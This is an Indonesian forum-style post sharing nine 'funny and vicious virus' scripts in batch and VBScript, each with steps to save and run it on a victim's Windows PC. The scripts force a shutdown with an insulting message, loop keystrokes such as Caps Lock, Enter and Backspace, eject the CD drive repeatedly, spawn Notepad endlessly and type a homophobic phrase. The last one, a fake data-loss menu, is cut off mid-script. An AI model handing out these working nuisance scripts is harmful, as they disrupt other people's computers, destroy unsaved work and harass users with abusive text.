"Kumpulan Virus Lucu Dan Ganas"

Saya masih Newbie Jadi ya
bisaNya Gini dech. Otak atik
Virus ..hehe
1) memberi pesan dan
shutdown komputer. Buka
Notepad ketik script dibawah
ini
dan Save As menggunakan
Extension .BAT
Quote:
@echo off
msg * Aku tidak suka kamu
shutdown -c "Error! Kamu
jelek sekali" -s
2) Menyalakan tombol Caps
lock secara simultan.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .VBS
Quote:
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys
"{CAPSLOCK}"
loop
3) Buka/tutup CD drive
secara terus menerus.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .VBS
Quote:
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1
then
For i = 0 to
colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to
colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
4) Tekan Enter secara
simultan.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .VBS
Quote:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
5) Mengetik pesan kita secara
otomatis di notepad.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .VBS
Quote:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate
"Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
6) Menjalankan BACKSPACE
secara simultan.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .VBS
Quote:
MsgBox "Let's go back a few
steps"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
7) Hack keyboard sehingga
korban dipaksa mengetik
"You are a gay" secara
simultan.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .VBS
Quote:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a
gay"
loop
8) Buka Notepad secara terus
menerus.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .BAT
Quote:
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
9) Munculin 5 pilihan yang
harus korban pilih.
Buka Notepad ketik script
dibawah ini dan Save As
menggunakan Extension .BAT
Quote:
@echo off
title The end of the world
cd C:\
:menu
cls
echo oops gw gak tanggung
jawab lho apa yang barusan
lu lakuin hehhe,,semuanya
dh jadi tanggung jawab lu
sendiri...
pause
echo pilih nama cwe yang lu
suka =P :
echo 1. datanya bakal ilang
lho.
echo 2. komputer nya
corrupt lho
echo 3. heheh no comment
deh klo yang ini
echo 4. mau mati pake jalan
ini?
echo 5. bye bye...
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
YANG TULISANNYA QUOTE
JANGAN DI KOPAS.